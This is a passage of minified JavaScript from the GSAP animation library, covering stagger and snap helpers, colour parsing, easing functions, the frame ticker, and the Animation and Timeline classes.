i,n,a,s,o,u,h,l,f,c=(r||p).length,d=y[c];if(!d){if(!(f="auto"===p.grid?0:(p.grid||[1,U])[1])){for(h=-U;h<(h=r[f++].getBoundingClientRect().left)&&f<c;);f--}for(d=y[c]=[],i=T?Math.min(f,c)*w-.5:m%f,n=f===U?0:T?c*x/f-.5:m/f|0,l=U,u=h=0;u<c;u++)a=u%f-i,s=n-(u/f|0),d[u]=o=b?Math.abs("y"===b?s:a):K(a*a+s*s),h<o&&(h=o),o<l&&(l=o);"random"===m&&db(d),d.max=h-l,d.min=l,d.v=c=(parseFloat(p.amount)||parseFloat(p.each)*(c<f?c-1:b?"y"===b?c/f:f:Math.max(f,c/f))||0)*("edges"===m?-1:1),d.b=c<0?g-c:g,d.u=Ya(p.amount||p.each)||0,_=_&&c<0?Yt(_):_}return c=(d[t]-d.min)/d.max||0,ja(d.b+(_?_(c):c)*d.v)+d.u}}function fb(i){var n=Math.pow(10,((i+"").split(".")[1]||"").length);return function(e){var r=ja(Math.round(parseFloat(e)/i)*i*n);return(r-r%1)/n+(t(e)?0:Ya(e))}}function gb(h,e){var l,f,r=$(h);return!r&&v(h)&&(l=r=h.radius||U,h.values?(h=Ot(h.values),(f=!t(h[0]))&&(l*=l)):h=fb(h.increment)),Wa(e,r?s(h)?function(t){return f=h(t),Math.abs(f-t)<=l?f:t}:function(e){for(var r,i,n=parseFloat(f?e.x:e),a=parseFloat(f?e.y:0),s=U,o=0,u=h.length;u--;)(r=f?(r=h[u].x-n)*r+(i=h[u].y-a)*i:Math.abs(h[u]-n))<s&&(s=r,o=u);return o=!l||s<=l?h[o]:e,f||o===e||t(e)?o:o+Ya(e)}:fb(h))}function hb(t,e,r,i){return Wa($(t)?!e:!0===r?!!(r=0):!i,function(){return $(t)?t[~~(Math.random()*t.length)]:(r=r||1e-5)&&(i=r<1?Math.pow(10,(r+"").length-2):1)&&Math.floor(Math.round((t-r/2+Math.random()*(e-t+.99*r))/r)*r*i)/i})}function lb(e,r,t){return Wa(t,function(t){return e[~~r(t)]})}function ob(t){for(var e,r,i,n,a=0,s="";~(e=t.indexOf("random(",a));)i=t.indexOf(")",e),n="["===t.charAt(e+7),r=t.substr(e+7,i-e-7).match(n?at:tt),s+=t.substr(a,e-a)+hb(n?r:+r[0],n?0:+r[1],+r[2]||1e-5),a=i+1;return s+t.substr(a,t.length-a)}function rb(t,e,r){var i,n,a,s=t.labels,o=U;for(i in s)(n=s[i]-e)<0==!!r&&n&&o>(n=Math.abs(n))&&(a=i,o=n);return a}function tb(t){return za(t),t.scrollTrigger&&t.scrollTrigger.kill(!!L),t.progress()<1&&At(t,"onInterrupt"),t}function wb(t){if(x()&&t){var e=(t=!t.name&&t.default||t).name,r=s(t),i=e&&!r&&t.init?function(){this._props=[]}:t,n={init:T,render:he,add:Qt,kill:ce,modifier:fe,rawVars:0},a={targetTest:0,get:0,getSetter:ne,aliases:{},register:0};if(Ft(),t!==i){if(pt[e])return;qa(i,qa(ua(t,n),a)),yt(i.prototype,yt(n,ua(t,a))),pt[i.prop=e]=i,t.targetTest&&(gt.push(i),ft[e]=1),e=("css"===e?"CSS":e.charAt(0).toUpperCase()+e.substr(1))+"Plugin"}S(e,i),t.register&&t.register(Ee,i,_e)}else t&&Ct.push(t)}function zb(t,e,r){return(6*(t+=t<0?1:1<t?-1:0)<1?e+(r-e)*t*6:t<.5?r:3*t<2?e+(r-e)*(2/3-t)*6:e)*St+.5|0}function Ab(e,r,i){var n,a,s,o,u,h,l,f,c,d,p=e?t(e)?[e>>16,e>>8&St,e&St]:0:Et.black;if(!p){if(","===e.substr(-1)&&(e=e.substr(0,e.length-1)),Et[e])p=Et[e];else if("#"===e.charAt(0)){if(e.length<6&&(e="#"+(n=e.charAt(1))+n+(a=e.charAt(2))+a+(s=e.charAt(3))+s+(5===e.length?e.charAt(4)+e.charAt(4):"")),9===e.length)return[(p=parseInt(e.substr(1,6),16))>>16,p>>8&St,p&St,parseInt(e.substr(7),16)/255];p=[(e=parseInt(e.substr(1),16))>>16,e>>8&St,e&St]}else if("hsl"===e.substr(0,3))if(p=d=e.match(tt),r){if(~e.indexOf("="))return p=e.match(et),i&&p.length<4&&(p[3]=1),p}else o=+p[0]%360/360,u=p[1]/100,n=2*(h=p[2]/100)-(a=h<=.5?h*(u+1):h+u-h*u),3<p.length&&(p[3]*=1),p[0]=zb(o+1/3,n,a),p[1]=zb(o,n,a),p[2]=zb(o-1/3,n,a);else p=e.match(tt)||Et.transparent;p=p.map(Number)}return r&&!d&&(n=p[0]/St,a=p[1]/St,s=p[2]/St,h=((l=Math.max(n,a,s))+(f=Math.min(n,a,s)))/2,l===f?o=u=0:(c=l-f,u=.5<h?c/(2-l-f):c/(l+f),o=l===n?(a-s)/c+(a<s?6:0):l===a?(s-n)/c+2:(n-a)/c+4,o*=60),p[0]=~~(o+.5),p[1]=~~(100*u+.5),p[2]=~~(100*h+.5)),i&&p.length<4&&(p[3]=1),p}function Bb(t){var r=[],i=[],n=-1;return t.split(Dt).forEach(function(t){var e=t.match(rt)||[];r.push.apply(r,e),i.push(n+=e.length+1)}),r.c=i,r}function Cb(t,e,r){var i,n,a,s,o="",u=(t+o).match(Dt),h=e?"hsla(":"rgba(",l=0;if(!u)return t;if(u=u.map(function(t){return(t=Ab(t,e,1))&&h+(e?t[0]+","+t[1]+"%,"+t[2]+"%,"+t[3]:t.join(","))+")"}),r&&(a=Bb(t),(i=r.c).join(o)!==a.c.join(o)))for(s=(n=t.replace(Dt,"1").split(rt)).length-1;l<s;l++)o+=n[l]+(~i.indexOf(l)?u.shift()||h+"0,0,0,0)":(a.length?a:u.length?u:r).shift());if(!n)for(s=(n=t.split(Dt)).length-1;l<s;l++)o+=n[l]+u[l];return o+n[s]}function Fb(t){var e,r=t.join(" ");if(Dt.lastIndex=0,Dt.test(r))return e=zt.test(r),t[1]=Cb(t[1],e),t[0]=Cb(t[0],e,Bb(t[1])),!0}function Ob(t){var e=(t+"").split("("),r=Bt[e[0]];return r&&1<e.length&&r.config?r.config.apply(null,~t.indexOf("{")?[function _parseObjectInString(t){for(var e,r,i,n={},a=t.substr(1,t.length-3).split(":"),s=a[0],o=1,u=a.length;o<u;o++)r=a[o],e=o!==u-1?r.lastIndexOf(","):r.length,i=r.substr(0,e),n[s]=isNaN(i)?i.replace(It,"").trim():+i,s=r.substr(e+1).trim();return n}(e[1])]:function _valueInParentheses(t){var e=t.indexOf("(")+1,r=t.indexOf(")"),i=t.indexOf("(",e);return t.substring(e,~i&&i<r?t.indexOf(")",r+1):r)}(t).split(",").map(oa)):Bt._CE&&Lt.test(t)?Bt._CE("",t):r}function Qb(t,e){for(var r,i=t._first;i;)i instanceof Xt?Qb(i,e):!i.vars.yoyoEase||i._yoyo&&i._repeat||i._yoyo===e||(i.timeline?Qb(i.timeline,e):(r=i._ease,i._ease=i._yEase,i._yEase=r,i._yoyo=e)),i=i._next}function Sb(t,e,r,i){void 0===r&&(r=function easeOut(t){return 1-e(1-t)}),void 0===i&&(i=function easeInOut(t){return t<.5?e(2*t)/2:1-e(2*(1-t))/2});var n,a={easeIn:e,easeOut:r,easeInOut:i};return ha(t,function(t){for(var e in Bt[t]=ot[t]=a,Bt[n=t.toLowerCase()]=r,a)Bt[n+("easeIn"===e?".in":"easeOut"===e?".out":".inOut")]=Bt[t+"."+e]=a[e]}),a}function Tb(e){return function(t){return t<.5?(1-e(1-2*t))/2:.5+e(2*(t-.5))/2}}function Ub(r,t,e){function Jm(t){return 1===t?1:i*Math.pow(2,-10*t)*H((t-a)*n)+1}var i=1<=t?t:1,n=(e||(r?.3:.45))/(t<1?t:1),a=n/N*(Math.asin(1/i)||0),s="out"===r?Jm:"in"===r?function(t){return 1-Jm(1-t)}:Tb(Jm);return n=N/n,s.config=function(t,e){return Ub(r,t,e)},s}function Vb(e,r){function Rm(t){return t?--t*t*((r+1)*t+r)+1:0}void 0===r&&(r=1.70158);var t="out"===e?Rm:"in"===e?function(t){return 1-Rm(1-t)}:Tb(Rm);return t.config=function(t){return Vb(e,t)},t}var B,L,l,I,h,n,a,i,o,f,c,d,p,_,m,g,b,k,M,O,A,C,E,D,z,F,Y,j,q={autoSleep:120,force3D:"auto",nullTargetWarn:1,units:{lineHeight:""}},V={duration:.5,overwrite:!1,delay:0},U=1e8,X=1/U,N=2*Math.PI,W=N/4,G=0,K=Math.sqrt,J=Math.cos,H=Math.sin,Z="function"==typeof ArrayBuffer&&ArrayBuffer.isView||function(){},$=Array.isArray,tt=/(?:-?\.?\d|\.)+/gi,et=/[-+=.]*\d+[.e\-+]*\d*[e\-+]*\d*/g,rt=/[-+=.]*\d+[.e-]*\d*[a-z%]*/g,it=/[-+=.]*\d+\.?\d*(?:e-|e\+)?\d*/gi,nt=/[+-]=-?[.\d]+/,at=/[^,'"\[\]\s]+/gi,st=/^[+\-=e\s\d]*\d+[.\d]*([a-z]*|%)\s*$/i,ot={},ut={suppressEvents:!0,isStart:!0,kill:!1},ht={suppressEvents:!0,kill:!1},lt={suppressEvents:!0},ft={},ct=[],dt={},pt={},_t={},mt=30,gt=[],vt="",yt=function _merge(t,e){for(var r in e)t[r]=e[r];return t},Tt=function _animationCycle(t,e){var r=Math.floor(t/=e);return t&&r===t?r-1:r},bt=function _isFromOrFromStart(t){var e=t.data;return"isFromStart"===e||"isStart"===e},wt={_start:0,endTime:T,totalDuration:T},xt=function _parsePosition(t,e,i){var n,a,s,o=t.labels,u=t._recent||wt,h=t.duration()>=U?u.endTime(!1):t._dur;return r(e)&&(isNaN(e)||e in o)?(a=e.charAt(0),s="%"===e.substr(-1),n=e.indexOf("="),"<"===a||">"===a?(0<=n&&(e=e.replace(/=/,"")),("<"===a?u._start:u.endTime(0<=u._repeat))+(parseFloat(e.substr(1))||0)*(s?(n<0?u:i).totalDuration()/100:1)):n<0?(e in o||(o[e]=h),o[e]):(a=parseFloat(e.charAt(n-1)+e.substr(n+1)),s&&i&&(a=a/100*($(i)?i[0]:i).totalDuration()),1<n?_parsePosition(t,e.substr(0,n-1),i)+a:h+a)):null==e?h:+e},kt=function _clamp(t,e,r){return r<t?t:e<r?e:r},Mt=[].slice,Ot=function toArray(t,e,i){return l&&!e&&l.selector?l.selector(t):!r(t)||i||!n&&Ft()?$(t)?function _flatten(t,e,i){return void 0===i&&(i=[]),t.forEach(function(t){return r(t)&&!e||_a(t,1)?i.push.apply(i,Ot(t)):i.push(t)})||i}(t,i):_a(t)?Mt.call(t,0):t?[t]:[]:Mt.call((e||a).querySelectorAll(t),0)},Pt=function mapRange(e,t,r,i,n){var a=t-e,s=i-r;return Wa(n,function(t){return r+((t-e)/a*s||0)})},At=function _callback(t,e,r){var i,n,a,s=t.vars,o=s[e],u=l,h=t._ctx;if(o)return i=s[e+"Params"],n=s.callbackScope||t,r&&ct.length&&ma(),h&&(l=h),a=i?o.apply(n,i):o.call(n),l=u,a},Ct=[],St=255,Et={aqua:[0,St,St],lime:[0,St,0],silver:[192,192,192],black:[0,0,0],maroon:[128,0,0],teal:[0,128,128],blue:[0,0,St],navy:[0,0,128],white:[St,St,St],olive:[128,128,0],yellow:[St,St,0],orange:[St,165,0],gray:[128,128,128],purple:[128,0,128],green:[0,128,0],red:[St,0,0],pink:[St,192,203],cyan:[0,St,St],transparent:[St,St,St,0]},Dt=function(){var t,e="(?:\\b(?:(?:rgb|rgba|hsl|hsla)\\(.+?\\))|\\B#(?:[0-9a-f]{3,4}){1,2}\\b";for(t in Et)e+="|"+t+"\\b";return new RegExp(e+")","gi")}(),zt=/hsl[a]?\(/,Rt=(M=Date.now,O=500,A=33,C=M(),E=C,z=D=1e3/240,g={time:0,frame:0,tick:function tick(){yl(!0)},deltaRatio:function deltaRatio(t){return b/(1e3/(t||60))},wake:function wake(){o&&(!n&&x()&&(h=n=window,a=h.document||{},ot.gsap=Ee,(h.gsapVersions||(h.gsapVersions=[])).push(Ee.version),P(i||h.GreenSockGlobals||!h.gsap&&h||{}),m=h.requestAnimationFrame,Ct.forEach(wb)),p&&g.sleep(),_=m||function(t){return setTimeout(t,z-1e3*g.time+1|0)},d=1,yl(2))},sleep:function sleep(){(m?h.cancelAnimationFrame:clearTimeout)(p),d=0,_=T},lagSmoothing:function lagSmoothing(t,e){O=t||1/0,A=Math.min(e||33,O)},fps:function fps(t){D=1e3/(t||240),z=1e3*g.time+D},add:function add(n,t,e){var a=t?function(t,e,r,i){n(t,e,r,i),g.remove(a)}:n;return g.remove(n),F[e?"unshift":"push"](a),Ft(),a},remove:function remove(t,e){~(e=F.indexOf(t))&&F.splice(e,1)&&e<=k&&k--},_listeners:F=[]}),Ft=function _wake(){return!d&&Rt.wake()},Bt={},Lt=/^[\d.\-M][\d.\-,\s]/,It=/["']/g,Yt=function _invertEase(e){return function(t){return 1-e(1-t)}},jt=function _parseEase(t,e){return t&&(s(t)?t:Bt[t]||Ob(t))||e};function yl(t){var e,r,i,n,a=M()-E,s=!0===t;if(O<a&&(C+=a-A),(0<(e=(i=(E+=a)-C)-z)||s)&&(n=++g.frame,b=i-1e3*g.time,g.time=i/=1e3,z+=e+(D<=e?4:D-e),r=1),s||(p=_(yl)),r)for(k=0;k<F.length;k++)F[k](i,b,n,t)}function gn(t){return t<j?Y*t*t:t<.7272727272727273?Y*Math.pow(t-1.5/2.75,2)+.75:t<.9090909090909092?Y*(t-=2.25/2.75)*t+.9375:Y*Math.pow(t-2.625/2.75,2)+.984375}ha("Linear,Quad,Cubic,Quart,Quint,Strong",function(t,e){var r=e<5?e+1:e;Sb(t+",Power"+(r-1),e?function(t){return Math.pow(t,r)}:function(t){return t},function(t){return 1-Math.pow(1-t,r)},function(t){return t<.5?Math.pow(2*t,r)/2:1-Math.pow(2*(1-t),r)/2})}),Bt.Linear.easeNone=Bt.none=Bt.Linear.easeIn,Sb("Elastic",Ub("in"),Ub("out"),Ub()),Y=7.5625,j=1/2.75,Sb("Bounce",function(t){return 1-gn(1-t)},gn),Sb("Expo",function(t){return t?Math.pow(2,10*(t-1)):0}),Sb("Circ",function(t){return-(K(1-t*t)-1)}),Sb("Sine",function(t){return 1===t?1:1-J(t*W)}),Sb("Back",Vb("in"),Vb("out"),Vb()),Bt.SteppedEase=Bt.steps=ot.SteppedEase={config:function config(t,e){void 0===t&&(t=1);var r=1/t,i=t+(e?0:1),n=e?1:0;return function(t){return((i*kt(0,.99999999,t)|0)+n)*r}}},V.ease=Bt["quad.out"],ha("onComplete,onUpdate,onStart,onRepeat,onReverseComplete,onInterrupt",function(t){return vt+=t+","+t+"Params,"});var qt,Vt=function GSCache(t,e){this.id=G++,(t._gsap=this).target=t,this.harness=e,this.get=e?e.get:ga,this.set=e?e.getSetter:ne},Ut=((qt=Animation.prototype).delay=function delay(t){return t||0===t?(this.parent&&this.parent.smoothChildTiming&&this.startTime(this._start+t-this._delay),this._delay=t,this):this._delay},qt.duration=function duration(t){return arguments.length?this.totalDuration(0<this._repeat?t+(t+this._rDelay)*this._repeat:t):this.totalDuration()&&this._dur},qt.totalDuration=function totalDuration(t){return arguments.length?(this._dirty=0,Ra(this,this._repeat<0?t:(t-this._repeat*this._rDelay)/(this._repeat+1))):this._tDur},qt.totalTime=function totalTime(t,e){if(Ft(),!arguments.length)return this._tTime;var r=this._dp;if(r&&r.smoothChildTiming&&this._ts){for(Ia(this,t),!r._dp||r.parent||Ja(r,this);r&&r.parent;)r.parent._time!==r._start+(0<=r._ts?r._tTime/r._ts:(r.totalDuration()-r._tTime)/-r._ts)&&r.totalTime(r._tTime,!0),r=r.parent;!this.parent&&this._dp.autoRemoveChildren&&(0<this._ts&&t<this._tDur||this._ts<0&&0<t||!this._tDur&&!t)&&Ka(this._dp,this,this._start-this._delay)}return(this._tTime!==t||!this._dur&&!e||this._initted&&Math.abs(this._zTime)===X||!t&&!this._initted&&(this.add||this._ptLookup))&&(this._ts||(this._pTime=t),na(this,t,e)),this},qt.time=function time(t,e){return arguments.length?this.totalTime(Math.min(this.totalDuration(),t+Ea(this))%(this._dur+this._rDelay)||(t?this._dur:0),e):this._time},qt.totalProgress=function totalProgress(t,e){return arguments.length?this.totalTime(this.totalDuration()*t,e):this.totalDuration()?Math.min(1,this._tTime/this._tDur):this.ratio},qt.progress=function progress(t,e){return arguments.length?this.totalTime(this.duration()*(!this._yoyo||1&this.iteration()?t:1-t)+Ea(this),e):this.duration()?Math.min(1,this._time/this._dur):this.ratio},qt.iteration=function iteration(t,e){var r=this.duration()+this._rDelay;return arguments.length?this.totalTime(this._time+(t-1)*r,e):this._repeat?Tt(this._tTime,r)+1:1},qt.timeScale=function timeScale(t){if(!arguments.length)return this._rts===-X?0:this._rts;if(this._rts===t)return this;var e=this.parent&&this._ts?Ga(this.parent._time,this):this._tTime;return this._rts=+t||0,this._ts=this._ps||t===-X?0:this._rts,this.totalTime(kt(-Math.abs(this._delay),this._tDur,e),!0),Ha(this),function _recacheAncestors(t){for(var e=t.parent;e&&e.parent;)e._dirty=1,e.totalDuration(),e=e.parent;return t}(this)},qt.paused=function paused(t){return arguments.length?(this._ps!==t&&((this._ps=t)?(this._pTime=this._tTime||Math.max(-this._delay,this.rawTime()),this._ts=this._act=0):(Ft(),this._ts=this._rts,this.totalTime(this.parent&&!this.parent.smoothChildTiming?this.rawTime():this._tTime||this._pTime,1===this.progress()&&Math.abs(this._zTime)!==X&&(this._tTime-=X)))),this):this._ps},qt.startTime=function startTime(t){if(arguments.length){this._start=t;var e=this.parent||this._dp;return!e||!e._sort&&this.parent||Ka(e,this,t-this._delay),this}return this._start},qt.endTime=function endTime(t){return this._start+(w(t)?this.totalDuration():this.duration())/Math.abs(this._ts||1)},qt.rawTime=function rawTime(t){var e=this.parent||this._dp;return e?t&&(!this._ts||this._repeat&&this._time&&this.totalProgress()<1)?this._tTime%(this._dur+this._rDelay):this._ts?Ga(e.rawTime(t),this):this._tTime:this._tTime},qt.revert=function revert(t){void 0===t&&(t=lt);var e=L;return L=t,(this._initted||this._startAt)&&(this.timeline&&this.timeline.revert(t),this.totalTime(-.01,t.suppressEvents)),"nested"!==this.data&&!1!==t.kill&&this.kill(),L=e,this},qt.globalTime=function globalTime(t){for(var e=this,r=arguments.length?t:e.rawTime();e;)r=e._start+r/(e._ts||1),e=e._dp;return!this.parent&&this._sat?this._sat.vars.immediateRender?-1/0:this._sat.globalTime(t):r},qt.repeat=function repeat(t){return arguments.length?(this._repeat=t===1/0?-2:t,Sa(this)):-2===this._repeat?1/0:this._repeat},qt.repeatDelay=function repeatDelay(t){if(arguments.length){var e=this._time;return this._rDelay=t,Sa(this),e?this.time(e):this}return this._rDelay},qt.yoyo=function yoyo(t){return arguments.length?(this._yoyo=t,this):this._yoyo},qt.seek=function seek(t,e){return this.totalTime(xt(this,t),w(e))},qt.restart=function restart(t,e){return this.play().totalTime(t?-this._delay:0,w(e))},qt.play=function play(t,e){return null!=t&&this.seek(t,e),this.reversed(!1).paused(!1)},qt.reverse=function reverse(t,e){return null!=t&&this.seek(t||this.totalDuration(),e),this.reversed(!0).paused(!1)},qt.pause=function pause(t,e){return null!=t&&this.seek(t,e),this.paused(!0)},qt.resume=function resume(){return this.paused(!1)},qt.reversed=function reversed(t){return arguments.length?(!!t!==this.reversed()&&this.timeScale(-this._rts||(t?-X:0)),this):this._rts<0},qt.invalidate=function invalidate(){return this._initted=this._act=0,this._zTime=-X,this},qt.isActive=function isActive(){var t,e=this.parent||this._dp,r=this._start;return!(e&&!(this._ts&&this._initted&&e.isActive()&&(t=e.rawTime(!0))>=r&&t<this.endTime(!0)-X))},qt.eventCallback=function eventCallback(t,e,r){var i=this.vars;return 1<arguments.length?(e?(i[t]=e,r&&(i[t+"Params"]=r),"onUpdate"===t&&(this._onUpdate=e)):delete i[t],this):i[t]},qt.then=function then(t){var i=this;return new Promise(function(e){function Bo(){var t=i.then;i.then=null,s(r)&&(r=r(i))&&(r.then||r===i)&&(i.then=t),e(r),i.then=t}var r=s(t)?t:pa;i._initted&&1===i.totalProgress()&&0<=i._ts||!i._tTime&&i._ts<0?Bo():i._prom=Bo})},qt.kill=function kill(){tb(this)},Animation);function Animation(t){this.vars=t,this._delay=+t.delay||0,(this._repeat=t.repeat===1/0?-2:t.repeat||0)&&(this._rDelay=t.repeatDelay||0,this._yoyo=!!t.yoyo||!!t.yoyoEase),this._ts=1,Ra(this,+t.duration,1,1),this.data=t.data,l&&(this._ctx=l).data.push(this),d||Rt.wake()}qa(Ut.prototype,{_time:0,_start:0,_end:0,_tTime:0,_tDur:0,_dirty:0,_repeat:0,_yoyo:!1,parent:null,_initted:!1,_rDelay:0,_ts:1,_dp:0,ratio:0,_zTime:-X,_prom:0,_ps:!1,_rts:1});var Xt=function(i){function Timeline(t,e){var r;return void 0===t&&(t={}),(r=i.call(this,t)||this).labels={},r.smoothChildTiming=!!t.smoothChildTiming,r.autoRemoveChildren=!!t.autoRemoveChildren,r._sort=w(t.sortChildren),I&&Ka(t.parent||I,_assertThisInitialized(r),e),t.reversed&&r.reverse(),t.paused&&r.paused(!0),t.scrollTrigger&&La(_assertThisInitialized(r),t.scrollTrigger),r}_inheritsLoose(Timeline,i);var e=Timeline.prototype;return e.to=function to(t,e,r){return Va(0,arguments,this),this},e.from=function from(t,e,r){return Va(1,arguments,this),this},e.fromTo=function fromTo(t,e,r,i){return Va(2,arguments,this),this},e.set=function set(t,e,r){return e.duration=0,e.parent=this,va(e).repeatDelay||(e.repeat=0),e.immediateRender=!!e.immediateRender,new Zt(t,e,xt(this,r),1),this},e.call=function call(t,e,r){return Ka(this,Zt.delayedCall(0,t,e),r)},e.staggerTo=function staggerTo(t,e,r,i,n,a,s){return r.duration=e,r.stagger=r.stagger||i,r.onComplete=a,r.onCompleteParams=s,r.parent=this,new Zt(t,r,xt(this,n)),this},e.staggerFrom=function staggerFrom(t,e,r,i,n,a,s){return r.runBackwards=1,va(r).immediateRender=w(r.immediateRender),this.staggerTo(t,e,r,i,n,a,s)},e.staggerFromTo=function staggerFromTo(t,e,r,i,n,a,s,o){return i.startAt=r,va(i).immediateRender=w(i.immediateRender),this.staggerTo(t,e,i,n,a,s,o)},e.render=function render(t,e,r){var i,n,a,s,o,u,h,l,f,c,d,p,_=this._time,m=this._dirty?this.totalDuration():this._tDur,g=this._dur,v=t<=0?0:ja(t),y=this._zTime<0!=t<0&&(this._initted||!g);if(this!==I&&m<v&&0<=t&&(v=m),v!==this._tTime||r||y){if(_!==this._time&&g&&(v+=this._time-_,t+=this._time-_),i=v,f=this._start,u=!(l=this._ts),y&&(g||(_=this._zTime),!t&&e||(this._zTime=t)),this._repeat){if(d=this._yoyo,o=g+this._rDelay,this._repeat<-1&&t<0)return this.totalTime(100*o+t,e,r);if(i=ja(v%o),v===m?(s=this._repeat,i=g):((s=~~(v/o))&&s===v/o&&(i=g,s--),g<i&&(i=g)),c=Tt(this._tTime,o),!_&&this._tTime&&c!==s&&this._tTime-c*o-this._dur<=0&&(c=s),d&&1&s&&(i=g-i,p=1),s!==c&&!this._lock){var T=d&&1&c,b=T===(d&&1&s);if(s<c&&(T=!T),_=T?0:v%g?g:v,this._lock=1,this.render(_||(p?0:ja(s*o)),e,!g)._lock=0,this._tTime=v,!e&&this.parent&&At(this,"onRepeat"),this.vars.repeatRefresh&&!p&&(this.invalidate()._lock=1),_&&_!==this._time||u!=!this._ts||this.vars.onRepeat&&!this.parent&&!this._act)return this;if(g=this._dur,m=this._tDur,b&&(this._lock=2,_=T?g:-1e-4,this.render(_,!0),this.vars.repeatRefresh&&!p&&this.invalidate()),this._lock=0,!this._ts&&!u)return this;Qb(this,p)}}if(this._hasPause&&!this._forcing&&this._lock<2&&(h=function _findNextPauseTween(t,e,r){var i;if(e<r)for(i=t._first;i&&i._start<=r;){if("isPause"===i.data&&i._start>e)return i;i=i._next}else for(i=t._last;i&&i._start>=r;){if("isPause"===i.data&&i._start<e)return i;i=i._prev}}(this,ja(_),ja(i)))&&(v-=i-(i=h._start)),this._tTime=v,this._time=i,this._act=!l,this._initted||(this._onUpdate=this.vars.onUpdate,this._initted=1,this._zTime=t,_=0),!_&&i&&!e&&!s&&(At(this,"onStart"),this._tTime!==v))return this;if(_<=i&&0<=t)for(n=this._first;n;){if(a=n._next,(n._act||i>=n._start)&&n._ts&&h!==n){if(n.parent!==this)return this.render(t,e,r);if(n.render(0<n._ts?(i-n._start)*n._ts:(n._dirty?n.totalDuration():n._tDur)+(i-n._start)*n._ts,e,r),i!==this._time||!this._ts&&!u){h=0,a&&(v+=this._zTime=-X);break}}n=a}else{n=this._last;for(var w=t<0?t:i;n;){if(a=n._prev,(n._act||w<=n._end)&&n._ts&&h!==n){if(n.parent!==this)return this.render(t,e,r);if(n.render(0<n._ts?(w-n._start)*n._ts:(n._dirty?n.totalDuration():n._tDur)+(w-n._start)*n._ts,e,r||L&&(n._initted||n._startAt)),i!==this._time||!this._ts&&!u){h=0,a&&(v+=this._zTime=w?-X:X);break}}n=a}}if(h&&!e&&(this.pause(),h.render(_<=i?0:-X)._zTime=_<=i?1:-1,this._ts))return this._start=f,Ha(this),this.render(t,e,r);this._onUpdate&&!e&&At(this,"onUpdate",!0),(v===m&&this._tTime>=this.totalDuration()||!v&&_)&&(f!==this._start&&Math.abs(l)===Math.abs(this._ts)||this._lock||(!t&&g||!(v===m&&0<this._ts||!v&&this._ts<0)||za(this,1),e||t<0&&!_||!v&&!_&&m||(At(this,v===m&&0<=t?"onComplete":"onReverseComplete",!0),!this._prom||v<m&&0<this.timeScale()||this._prom())))}return this},e.add=function add(e,i){var n=this;if(t(i)||(i=xt(this,i,e)),!(e instanceof Ut)){if($(e))return e.forEach(function(t){return n.add(t,i)}),this;if(r(e))return this.addLabel(e,i);if(!s(e))return this;e=Zt.delayedCall(0,e)}return this!==e?Ka(this,e,i):this},e.getChildren=function getChildren(t,e,r,i){void 0===t&&(t=!0),void 0===e&&(e=!0),void 0===r&&(r=!0),void 0===i&&(i=-U);for(var n=[],a=this._first;a;)a._start>=i&&(a instanceof Zt?e&&n.push(a):(r&&n.push(a),t&&n.push.apply(n,a.getChildren(!0,e,r)))),a=a._next;return n},e.getById=function getById(t){for(var e=this.getChildren(1,1,1),r=e.length;r--;)if(e[r].vars.id===t)return e[r]},e.remove=function remove(t){return r(t)?this.removeLabel(t):s(t)?this.killTweensOf(t):(ya(this,t),t===this._recent&&(this._recent=this._last),Aa(this))},e.totalTime=function totalTime(t,e){return arguments.length?(this._forcing=1,!this._dp&&this._ts&&(this._start=ja(Rt.time-(0<this._ts?t/this._ts:(this.totalDuration()-t)/-this._ts))),i.prototype.totalTime.call(this,t,e),this._forcing=0,this):this._tTime},e.addLabel=function addLabel(t,e){return this.labels[t]=xt(this,e),this},e.removeLabel=function removeLabel(t){return delete this.labels[t],this},e.addPause=function addPause(t,e,r){var i=Zt.delayedCall(0,e||T,r);return i.data="isPause",this._hasPause=1,Ka(this,i,xt(this,t))},e.removePause=function removePause(t){var e=this._first;for(t=xt(this,t);e;)e._start===t&&"isPause"===e.data&&za(e),e=e._next},e.killTweensOf=function killTweensOf(t,e,r){for(var i=this.getTweensOf(t,r),n=i.length;n--;)Nt!==i[n]&&i[n].kill(t,e);return this},e.getTweensOf=function getTweensOf(e,r){for(var i,n=[],a=Ot(e),s=this._first,o=t(r);s;)s instanceof Zt?la(s._targets,a)&&(o?(!Nt||s._initted&&s._ts)&&s.globalTime(0)<=r&&s.globalTime(s.totalDuration())>r:!r||s.isActive())&&n.push(s):(i=s.getTweensOf(a,r)).length&&n.push.apply(n,i),s=s._next;return n},e.tweenTo=function tweenTo(t,e){e=e||{};var r,i=this,n=xt(i,t),a=e.startAt,s=e.onStart,o=e.onStartParams,u=e.immediateRender,h=Zt.to(i,qa({ease:e.ease||"none",lazy:!1,immediateRender:!1,time:n,overwrite:"auto",duration:e.duration||Math.abs((n-(a&&"time"in a?a.time:i._time))/i.timeScale())||X,onStart:function onStart(){if(i.pause(),!r){var t=e.duration||Math.abs((n-(a&&"time"in a?a.time:i._time))/i.timeScale());h._dur!==t&&Ra(h,t,0,1).render(h._time,!0,!0),r=1}s&&s.apply(h,o||[])}},e));return u?h.render(0):h},e.tweenFromTo=function tweenFromTo(t,e,r){return this.tweenTo(e,qa({startAt:{time:xt(this,t)}},r))},e.recent=function recent(){return this._recent},e.nextLabel=function nextLabel(t){return void 0===t&&(t=this._time),rb(this,xt(this,t))},e.previousLabel=function previousLabel(t){return void 0===t&&(t=this._time),rb(this,xt(this,t),1)},e.currentLabel=function currentLabel(t){return arguments.length?this.seek(t,!0):this.previousLabel(this._time+X)},e.shiftChildren=function shiftChildren(t,e,r){void 0===r&&(r=0);for(var i,n=this._first,a=this.labels;n;)n._start>=r&&(n._start+=t,n._end+=t),n=n._next;if(e)for(i in a)a[i]>=r&&(a[i]+=t);return Aa(this)},e.invalidate=function invalidate(t){var e=this._first;for(this._lock=0;e;)e.invalidate(t),e=e._next;return i.prototype.invalidate.call(this,t)},e.clear=function clear(t){void 0===t&&(t=!0);for(var e,r=this._first;r;)e=r._next,this.remove(r),r=e;return this._dp&&(this._time=this._tTime=this._pTime=0),t&&(this.labels={}),Aa(this)},e.totalDuration=function totalDuration(t){var e,r,i,n=0,a=this,s=a._last,o=U;if(arguments.length)return 